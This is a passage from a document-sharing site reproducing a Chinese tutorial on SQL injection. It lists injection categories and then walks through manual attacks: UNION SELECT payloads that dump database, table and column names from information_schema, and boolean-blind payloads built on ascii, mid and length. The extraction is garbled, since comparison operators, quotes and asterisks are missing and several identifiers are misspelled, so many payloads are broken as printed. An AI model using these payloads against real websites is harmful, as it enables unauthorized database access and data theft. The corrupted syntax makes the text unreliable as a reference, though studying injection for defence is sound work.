SQL注入原理.docx
《SQL注入原理.docx》由会员分享,可在线阅读,更多相关《SQL注入原理.docx(8页珍藏版)》请在第一文库网上搜索。
1、SQL注入原理当客户端提交的数据未作处理或转义直接带入数据库,就造成了 sql注入。攻击者通过构造不同的sql语句来实现对数据库的任意操作。SQL注入的分类按变量类型分:数字型和字符型按HTTP提交方式分:POST注入、GET注入和Cookie注入按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入按数据库类型分:sql: oracleMySQL、 mssql、 access、 sqlite、 postgersqlnosql: mongodb,redisMySQL与MSSQL及ACCESS之间的区别1. MySQL5.0以下没有information schema这个默认
2、数据库2. ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释举例:select 1,2,3 from table_ name union select 1,2,3 from table name3. MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)判断三种数据库的语句MySQL: and length(user()10ACCESS: and (select count()from MSysAccessObjects)0MSSQL: and (select count ()from sysobjects)0基本手工注入流程
3、1 .判断注入点数字型:id=2-l字符型:、)、)、 )、 ”)注释符:一(这是-空格)、-+、/*/、#这可能是最全的SQL注入总结,很有用2 ,获取字段数order by二分法联合查询字段数,观察页面变化从而确定字段数order by 1order by 50group by译为分组,注入时也可使用,不过我没用过3 .查看显示位尝试使用联合注入利用and 1=2或and 0及id=T2查看显示数据的位置替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)and 1=2 union select version(),2,3再查询所有数据库and 1=2 union select
4、(select group_concat(schema_name)from informationschema, schemata),2,3查询所有表名unionselect(selectgroup_concat(table_name)frominformation_schema. tables) ,2,3查询所有字段名union select(select group_concat(column_name)frominformation_schema. columns),2,3查询字段内容布尔盲注我在盲注中常用的函数:1. charO 解 ASCII 码;2. mid()截取字符串;举例:m
5、id( hello, ,1,3),从第1位开始截取3位,输出位hel3. substr()与mid()相同,都为截取字符串;4. count。计算查询结果的行数;5. concat ()查询结果合并但保持原有行数;6. group_concat ()查询结果合并但都放在一行中;7. ascii () 查询 ascii 码;猜数据库长度(利用二分法);id=1 and (length(database()1id=l and (length (database()50猜第一个字符,第二个字符,以此类推and ascii(mid(database(),1,1)1and ascii(mid(datab
6、ase(),2,1)1查询当前数据库中所有表名;and (select count (table name)from information schema, tables wheretables schema=database()land (select count (table name)frominformation_schema. tables where tables_schema=database 0) 10查询第一个翥的长度;and (select length (table name)from information schema. tables wheretables_sche
7、ma=database()limit 0,1)10查询表的第一个字符;and ascii(mid(select table_name from information_schema. tables wheretable_schema=database()limit 0,1),1,1)1查询atelier表里有几个字段;and(select count (column_namc)from information_schemae columns wheretable_name = atelier, and table_schema = database()2查询露一个字段长度;and length
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- SQL 注入 原理